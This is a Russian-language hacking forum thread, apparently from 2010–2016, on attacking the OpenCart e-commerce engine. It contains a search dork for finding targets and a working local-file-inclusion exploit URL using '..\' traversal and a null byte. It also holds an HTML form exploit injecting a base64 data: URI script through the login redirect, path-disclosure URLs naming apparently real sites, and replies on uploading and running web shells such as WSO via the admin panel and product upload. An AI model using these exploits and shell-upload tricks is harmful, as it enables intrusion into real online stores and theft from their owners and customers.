Уязвимости OpenCart

Discussion in 'Веб-уязвимости' started by Strilo4ka, 4 Jul 2010.

  1. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Версия:
    OpenCart 1.4.8b RUS 0.1

    Магазин: оф. сайт http://myopencart.ru/

    В файле в корне config.php интересны константы:
    PHP:
    /*...*/define('DB_DRIVER''mysql');
    define('DB_HOSTNAME''localhost');
    define('DB_USERNAME''root');
    define('DB_PASSWORD''');
    define('DB_DATABASE''opencart');
    define('DB_PREFIX''oc_');/*...*/
    Мб пригодитцо(читалка, блинд посимволу и т.д)

    После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.

    Некоторая логика(в файле system/startup.php):
    Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.
    Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .
    $_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.
    подключения с \engine(абстрактные и финальные класы!) и \library(аналогично!)
    Объект в этих подключаемых файлах не создаютцо.

    Интересный файл request.php:
    в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.
    Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .
    А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.

    Смотримс далее:
    в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.

    далее в index.php создаютцо обьекты...

    Дорк:
    intext:"Работает на: OpenCart"

    Такс, хватит воды!
    LFI (ось win)
    system/library/request.php
    PHP:
    final class Request {
        public 
    $get = array();
        public 
    $post = array();
        public 
    $cookie = array();
        public 
    $files = array();
        public 
    $server = array();
        
          public function 
    __construct() {
            
    $_GET $this->clean($_GET);
            
    $_POST $this->clean($_POST);
            
    $_COOKIE $this->clean($_COOKIE);
            
    $_FILES $this->clean($_FILES);
            
    $_SERVER $this->clean($_SERVER);
            
            
    $this->get $_GET;
            
    $this->post $_POST;
            
    $this->cookie $_COOKIE;
            
    $this->files $_FILES;
            
    $this->server $_SERVER;
        }
        
          public function 
    clean($data) {
            if (
    is_array($data)) {
                  foreach (
    $data as $key => $value) {
                    unset(
    $data[$key]);
                    
                    
    $data[$this->clean($key)] = $this->clean($value);
                  }
            } else { 
                  
    $data htmlspecialchars($dataENT_COMPAT'UTF-8');
            }

            return 
    $data;
        }
    }
    index.php
    PHP:
    /*...*/
    // Front Controller
    $controller = new Front($registry);

    // Maintenance Mode
    $controller->addPreAction(new Action('common/maintenance/check'));

    // SEO URL's
    $controller->addPreAction(new Action('common/seo_url'))


    // Router
    if (isset($request->get['route'])) {
        
    $action = new Action($request->get['route']);
    } else {
        
    $action = new Action('common/home');
    }

    // Dispatch
    $controller->dispatch($action, new Action('error/not_found'));

    // Output
    $response->output();
    system/engine/action.php
    PHP:
    /*...*/
    public function __construct($route$args = array()) {
            
    $path '';
            
            
    $parts explode('/'str_replace('../'''$route));
            
            foreach (
    $parts as $part) { 
                
    $path .= $part;
                
                if (
    is_dir(DIR_APPLICATION 'controller/' $path)) {
                    
    $path .= '/';
                    
                    
    array_shift($parts);
                    
                    continue;
                }
                
                if (
    is_file(DIR_APPLICATION 'controller/' str_replace('../'''$path) . '.php')) {
                    
    $this->file DIR_APPLICATION 'controller/' str_replace('../'''$path) . '.php';
                    
                    
    $this->class 'Controller' preg_replace('/[^a-zA-Z0-9]/'''$path);

                    
    array_shift($parts);
    /*...*/
    system/engine/front.php
    /
    PHP:
    *...*/
    public function 
    dispatch($action$error) {
            
    $this->error $error;
                
            foreach (
    $this->pre_action as $pre_action) {
                
    $result $this->execute($pre_action);
                        
                if (
    $result) {
                    
    $action $result;
                    
                    break;
                }
            }
                
            while (
    $action) {
                
    $action $this->execute($action);
            }
          }
        
        private function 
    execute($action) {
            
    $file   $action->getFile();
            
    $class  $action->getClass();
            
    $method $action->getMethod();
            
    $args   $action->getArgs();

            
    $action '';

            if (
    file_exists($file)) {
                require_once(
    $file);

                
    $controller = new $class($this->registry);
                
                if (
    is_callable(array($controller$method))) {
                    
    $action call_user_func_array(array($controller$method), $args);
                } else {
                    
    $action $this->error;
                
                    
    $this->error '';
                }
            } else {
                
    $action $this->error;
                
                
    $this->error '';
            }
            
            return 
    $action;
        }
    }
    Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.

    Exploit:
    http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00

    Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.
     
    #1 Strilo4ka, 4 Jul 2010
    Last edited: 4 Jul 2010
    2 people like this.
  2. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    pXSS в аторизации (часть представления!).

    класс Сontroller в system/engine/controller.php

    PHP:
    /*...*/
    protected function redirect($url) {
            
    header('Location: ' str_replace('&''&'$url));
            exit();
        }
    /*...*/
    controller/account/login.php
    PHP:
    class ControllerAccountLogin extends Controller {
        private 
    $error = array();

        public function 
    index() {
            if (
    $this->customer->isLogged()) {
                  
    $this->redirect(HTTPS_SERVER 'index.php?route=account/account');
            }

            
    $this->language->load('account/login');

            
    $this->document->title $this->language->get('heading_title');

            if ((
    $this->request->server['REQUEST_METHOD'] == 'POST')) {
                if (isset(
    $this->request->post['account'])) {
                    
    $this->session->data['account'] = $this->request->post['account'];

                    if (
    $this->request->post['account'] == 'register') {
                        
    $this->redirect(HTTPS_SERVER 'index.php?route=account/create');
                    }

                    if (
    $this->request->post['account'] == 'guest') {
                        
    $this->redirect(HTTPS_SERVER 'index.php?route=checkout/guest_step_1');
                    }
                }

                if (isset(
    $this->request->post['email']) && isset($this->request->post['password']) && $this->validate()) {
                    unset(
    $this->session->data['guest']);

                    if (isset(
    $this->request->post['redirect'])) {
                        
    $this->redirect(str_replace('&''&'$this->request->post['redirect']));
                    } else {
                        
    $this->redirect(HTTPS_SERVER 'index.php?route=account/account');
                    }
                }
            }
    /*...*/
    private function validate() {
            if (!
    $this->customer->login($this->request->post['email'], $this->request->post['password'])) {
                  
    $this->error['message'] = $this->language->get('error_login');
            }

            if (!
    $this->error) {
                  return 
    TRUE;
            } else {
                  return 
    FALSE;
            }
          }

    Чтоб попасть на account/login.php надо установить переменную ?route=account/login
    Еще надо иметь на целевом ресурсе созданный акаунт чтоб пройти авторизацию, после которой редирект, в который пихаетцо жаба!

    Интересный момент что пытались защитить функцией которая упоминалась в посте выше - htmlspecialchars, но она не все сущности преобразовывает, тоесть можно обойти: data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGFja2VkIScpPC9zY3JpcHQ+


    Експлоит:

    HTML:
    <form action="http://localhost/opencart_1.4.8b_rus_0.1/index.php?route=account/login"  method=post>
    <input name=email type=hidden value='[email protected]'>
    <input name=password type=hidden value=admin>
    <input name=redirect type=hidden value='data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGFja2VkIScpPC9zY3JpcHQ+'>
    <input name=r type=radio checked> гуд<br>
    <input name=r type=radio> плохо<br>
    Как жизнь?<br>
    <input type="submit" value="ок.">
    </form>
    зы
    ?route=account/login - только гет!

    Раскрытие путей
    http://www.hellomydream.com/admin/controller/common/header.php
    http://garmata.net/admin/controller/payment/alertpay.php
    http://localhost/opencart_1.4.8b_rus_0.1/admin/controller/localisation/length_class.php
    http://localhost/opencart_1.4.8b_rus_0.1/admin/model/localisation/geo_zone.php
    http://localhost/opencart_1.4.8b_rus_0.1/admin/model/sale/customer_group.php
    и другие.
     
    #2 Strilo4ka, 5 Jul 2010
    Last edited: 5 Jul 2010
    1 person likes this.
  3. DarkMaster

    DarkMaster New Member

    Joined:
    17 Apr 2010
    Messages:
    28
    Likes Received:
    1
    Reputations:
    0
    Кто-что посоветует относительно заливки шелла, уже непосредственно из админки? Версия 1.0.1 пишет.
     
  4. GoodGoogle

    GoodGoogle Moderator

    Joined:
    5 Aug 2011
    Messages:
    1,160
    Likes Received:
    366
    Reputations:
    226
    В админке заходишь в графу - > Файлы для загрузки.

    После чего перейменовываешь шел в shell.php.txt и заливаешь.

    Получаешь ссылку на файл, заходишь по ней, ссылка вида: http://site.ru/download/shell.php.txt появляется окно ввода пароля. Вот и все.
     
  5. TRX.new

    TRX.new Member

    Joined:
    27 Apr 2009
    Messages:
    151
    Likes Received:
    21
    Reputations:
    0
    need help!

    Всем привет! Дело имею с opencart 1.5.3.1 и 1.5.2.1 . Проблема вот в чем: успешно работает заливка файла через route=product/product/upload, получаю шифрованный ответ в json, ключ я узнал и соответственно имя файла, которое получилось на сервере тоже. Попробовал залить shell на 1.5.3.1 - все ок, работает. Заливаю также на 1.5.2.1 - болт. Версия php на обоих серваках X-Powered-By PHP/5.2.17. Покажу пример имен файлов в обоих случаях:

    Code:
    Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо
    Code:
    Неудачная заливка: test.php&#;.jpg.8604d5110d3e81f88cee94d06acab263
    Как видно проблема в нуль-байте, скорее всего magic quotes. Прошу совета! Как это обойти и все-таки выполнить shell , очень нужно. :confused:
     
  6. aivi

    aivi New Member

    Joined:
    18 Apr 2010
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Code:
    Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо
    Привет, а не подскажешь как имя узнал?
     
  7. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    htaccess в корне, заворачивающий все на index.php рубит все попытки залить шелл из админки?
     
  8. ICQ Hool

    ICQ Hool Elder - Старейшина

    Joined:
    31 Mar 2008
    Messages:
    175
    Likes Received:
    25
    Reputations:
    0
    я так понял что приписка в конце файла это md5(rand())
    брутить надо походу (
    кто подскажет?
     
    #8 ICQ Hool, 20 Dec 2013
    Last edited: 20 Dec 2013
  9. SMAC

    SMAC Elder - Старейшина

    Joined:
    24 Apr 2008
    Messages:
    10
    Likes Received:
    10
    Reputations:
    0
    каталог-загрузки. Загружаешь там и имя файла в открытом виде получаешь :D
     
  10. LETIFERUM

    LETIFERUM New Member

    Joined:
    3 Apr 2016
    Messages:
    43
    Likes Received:
    0
    Reputations:
    0
    Кто нибудь подскажет как расшифровать?не имея доступа в админку
     
  11. Forserer

    Forserer New Member

    Joined:
    16 Aug 2015
    Messages:
    58
    Likes Received:
    2
    Reputations:
    0
    Парни подскажите а возможно вобще получить доступ к файловой системе через админку opencart 1.5.1 ?